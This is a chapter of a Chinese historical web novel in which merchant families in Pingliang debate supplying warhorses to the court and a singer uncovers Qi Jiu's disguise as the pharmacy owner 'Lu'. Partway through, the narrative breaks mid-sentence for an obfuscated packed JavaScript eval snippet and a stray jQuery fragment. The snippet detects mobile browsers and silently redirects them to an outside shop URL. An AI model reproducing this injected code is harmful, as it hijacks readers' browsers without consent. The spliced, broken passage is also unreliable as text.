午时,姜家在商会内设宴,关薄言不喜赴宴,提前离去。
姜实维觉得有些可惜。为了将场面做得热闹,他专门请来了霸爷手下的乐团歌姬,还专程找了几位貌美倾城的女子,打算趁此机会送给关薄言。
好在关薄言虽然离开了,可商颉却留了下来。他来当这个监马官,本就是捞油水的,若是不给这些人一个机会,哪来的油水可捞?
于是,众位对战马生意有意向的老板们,都趁此机会纷纷涌到他身边,商颉也几乎来者不拒。
姜实维本想顺水推舟,将准备好的几位女子送给商颉,可姜老太公却阻止了他。姜实维不知父亲是何意,姜老太公却意味深长地说:“咱们姜家是做棉纱生意的,所谓‘隔行如隔山’,何故去冒这掉脑袋的风险?我看这收购战马一事,并不简单……哼,几十万两银子而已,我姜衍还不放在眼里。”
“这……送上门的银子岂有不赚之理?父亲,您是否太多虑了……”
姜老太公却充耳不闻,也不应答。
姜实维看向姜王瓒,姜王瓒想说什么,却忍了下来,冲父亲摇了摇头。
大堂内推杯换盏,觥筹交错,柒奺见要事已结束,没坐片刻便起身请辞。离开混乱的人群,柒奺深呼吸一口新鲜空气,正要离去时,却听得有人在背后喊着:“陆老板留步!”
柒奺心中顿觉忐忑,但很快正正神色,转身拱手鞠躬:
“陶老板……”
原来叫住柒奺的,正是陶墉。
“这宴席才开了不久,陆老板何故匆匆离去啊?”陶墉笑呵呵地摸了摸两撇胡子,闲庭信步来到柒奺面前,“陶某久仰济世堂东家陆老板的大名,今日总算得此一见,幸会、幸会啊……”
“济世堂的东家……陆老板?”
哪知不远处的厢房内,正巧有人听见了二人的谈话。
此人便是清崖居名伶歌姬乔予卿,今日他受姜家邀约,来商会献唱助兴,这会儿正在一旁的厢房内上妆等候。听陶墉说起“济世堂东家”,他立马放下手中的口脂,偷偷推开一扇小窗瞄去。
“陶老板这话,真叫陆某愧不敢当……”柒奺仍低头拱手,说道,“陆某开一间小小药铺,入行虽不久,但也早就听说过这可称为‘文唐第一药商’的陶家……恕陆某礼数不周,陆某自知与陶老板有云泥之别,遂不敢斗胆拜见。”
“哪里的话。”陶墉笑道,“我还正有事,要同陆老板商议呢。”
“陆某怎敢当……”
“诶,不是什么大事。”陶墉摆摆手,说道,“不过是听说济世堂药铺如今风光正盛,又扩充了铺面,生意十分红火,这药材进购的事……呵呵,我知道,陆老板之前一直是从祁家进购的药材,不过我陶家的实力自是更为雄厚,陆老板要在平凉站稳脚跟,将济世堂发扬壮大,恐怕还是与我陶家合作更为稳妥。”
“这……”柒奺假装为难,“先前陆某的济世堂寂寂无名,只有祁老板愿意供货给我这等小药铺,如今做大了却要过河拆桥,怕是、怕是不妥吧?陶老板还是不要为难小人了……”
“经商之事,自然是利字为先,陆老板不要舍不得这点小恩小惠,到时候为难的,还是你自己和济世堂。”陶墉笑眯眯地说完这番话,微一拱手,“陶某的提议,还请陆老板回去后,好好考虑考虑。”
陶墉说完,转身拂拂衣袖,昂首阔步地离去。
柒奺暗暗松了口气,也立马转身离开。
而不远处的窗缝中,却有一只灼灼闪光的媚眼,紧紧盯着柒奺的一举一动。
直待柒奺的身影走出大门,乔予卿才收回目光,出神地坐在铜镜前。他双手重新拈起口脂,手臂凝滞了良久后,突然好似回过神来,抚嘴大笑。
“呵呵……原来如此!”
他已然可以确定——所谓济世堂的东家陆公子,就是祁家的大娘子柒奺。
他之所以能认出来,并不是他对柒奺有多么熟悉,而是因为他成为“卿十六娘”这么多年来的刻苦钻研。为了扮演好“卿十六娘”,乔予卿不知花了多少工夫研究女子的形态坐姿、一颦一笑,已能做到如入化境。“陆十三”不经意间透露出的、那些女子的情态动作,能够瞒住普通男子甚至女子,却瞒不住他这位横跨雌雄的名伶歌姬。
其次,便是那日与柒奺“偶遇”时,她不仅提到了济世堂药铺,还谎称自己姓“陆”。当时乔予卿想不透,可如今一切都敞亮了,再根据林春娘的说法,乔予卿基本断定——
柒奺出身低微,祁楚又纳了青梅竹马的司户嫡女做妾,定是对她十分冷漠。可柒奺聪明,趁自己还是祁家大娘子的身份,偷偷用祁家的银子开铺子,替自己攒了家当,留了后路。
乔予卿越想越兴奋——
如今他攥住了柒奺的把柄,这天时地利人和,不就是将美人、银子还有大好的前途,拱手送到他的手上么?
.
众商集会之后,朝廷买马之事,很快就传开了。
北门外设立起临时的“监马所”,不出两三日,便有人跃跃欲试,牵去了十几匹好马。可商颉却闭门不见,只推说数量太少,又擅自加上一条“千匹起收”。
明眼人都清楚,几匹十几匹地收马,不仅耗工费时,还捞不着什么油水。商颉此举,明摆着是想筛掉没有实力的小商户,好从有实力的大商户手上多捞点好处。
可这些大商户们,却都按兵不动,心中各有各的盘算。
姜家自然是姜老爷子的“一言堂”,他说不参与,论姜实维劝破了嘴皮子也不松口。听多了儿子的念叨,姜老爷子只好苦口婆心地劝道:
“维儿,我当时便说过‘隔行如隔山’,商颉那小子虽是个蠢货,可这批战马到最后,是要过秦起大将军的眼的。我姜家虽有廉太傅这个靠山,可就连太傅大人都拿秦起没有办法,若到时候有个什么闪失,这可是欺君之罪,咱们姜家是担不起的啊!”
姜实维却执意说道:“可是……这马匹一倒手,就能轻松挣几十万两白银,也是笔不小的数目啊!父亲,咱们姜家经商五代,那可是从一文一银攒起来的万贯家财,一文一银尚不可费,何况几十万两白银?”
“唉……”姜老爷子叹了口气,“即便我们姜家吃得下这三万匹战马,银子是有,可马呢?文唐本就没有太多养马之地,更何况优良的战马?”
“依孙儿之见,不如等九月开南北互市。”姜王瓒从旁插话道,“文唐的的确没有多少养马之地,能作为战马的也屈指可数,所以战马历年都由北方小国进贡,或是监马官北上购得。互市一个月,北方诸国的商人都会南下与文唐做买卖,我们就等那个时候,找几个懂马的前去相看,若是有合适的马匹,再送去监马司也不迟。”
姜实维点点头:“瓒儿说得不错,除了九月南北互市,也不会有人能提前搜罗
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17771354|203563||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
够三万匹战马,估计有实力的商户,也都在等九月互市——我看,就听瓒儿的。”
姜老爷子听罢,也只好说道:“罢了,就等那时再说吧。”
而平凉第二的陶墉家内,嫡长子陶杰却有些坐立不安。倒不是因为战马,而是他听说了关薄言颁布的三条律令,又亲去商会门口张望,见百姓们读罢榜上内容,纷纷交口称赞,直呼关薄言是“救苦救难的菩萨转世”。
陶杰匆匆赶回家中去见陶墉,却见陶墉稳如泰山,依旧吹着口哨喂那些金丝雀。
陶杰忍不住说:“父亲,您怎还这般淡定?那关薄言下的三道律令,明摆着就是冲着我们陶家来的啊!这……”
“我倒要说你,这点小事便慌里慌张,成何体统。”陶墉嗤之以鼻。
“父亲!”
“啧……好了杰儿。”陶墉放下小金勺子,拍了拍手坐下倒茶,“咱们这位关刺史,是出身鸭子村,也与祁楚的娘子交好,定是对我们之前的所作所为心知肚明……哼,可这又如何?所谓上有政策而下有对策,想要用三条不痛不痒的律令控制我,怕是凉州刺史也不能够。”
陶墉“啪”地一声掷下茶杯。
听父亲如此说,陶杰的心也放下了几许。
片刻后,他又问道:“那……朝廷收购战马一事,父亲又是作何考虑?若咱们能吃下这三万匹战马,说不定皇上一高兴,将这战马一事交给咱们陶家,那咱们岂不是也有皇商之资了?这样,父亲也不用唯唯诺诺,去拍那姜实维的马屁……”
陶墉猛瞪了他一眼,陶杰立马噤声,垂头缩在一旁。
陶墉冷哼一声,说道:“哼,皇商之资……你以为这么容易?那日商大人宣布此事,姜实维那老儿激动得跟孙子似的,可姜老爷子却稳如泰山,直言姜家不会参与——姜老爷子是什么人?你用脑袋好好想想,那可是给北固军的战马!稍微有点闪失,可是要掉脑袋的!”
“可……”
陶杰想辩驳,却顿了顿生吞下去。
陶墉语气缓和了些,宽慰他道:“为父也不是说定不参与,只不过一千几百匹的小打小闹,朝廷也不会放在眼里不是?此事就暂且不提,等九月开了南北互市,有大量的优良马匹入市,咱们看好了再说也不迟。”
陶杰听了,面上总算缓和了些,坐下兀自倒茶:“父亲,您别怪我说错话……姜老爷子是个厉害的,可那番话,也可能是故意说给咱们听得不是?您可能不知道,那姜王瓒在凤仪楼喝多了酒,竟说咱们陶家不过是‘万年老二’,孩儿听了也是气不过罢了。”
陶墉提嘴一笑,虽不应答,眼中却透出一丝凶光。
他怎么不知,姜家如今当家的姜实维,不过是个面团捏的菩萨,论智论狠论手段,他样样都远胜对方。不过姜老太公却是千年的狐狸成了精,年轻时的手段心思都不输自己,年老了又多了一分谨慎,却是极难对付。
可手段强又如何,活得久才是赢家,陶墉也不甚心急。等熬死了姜老爷子,这平凉商事乃至文唐商事的格局,怕是要颠上两颠了。
陶墉想着,心中又松快了许多,抬眼问陶杰:“为父吩咐你办的事,如今办得如何了,可有信传来?”
“回父亲,梁州、雍州已经传信来了,事已办妥。”
“呵呵……”陶墉抹了抹两撇胡子,狡黠一笑,“古人云不择手段非豪杰,可笑到最后才是真英雄。”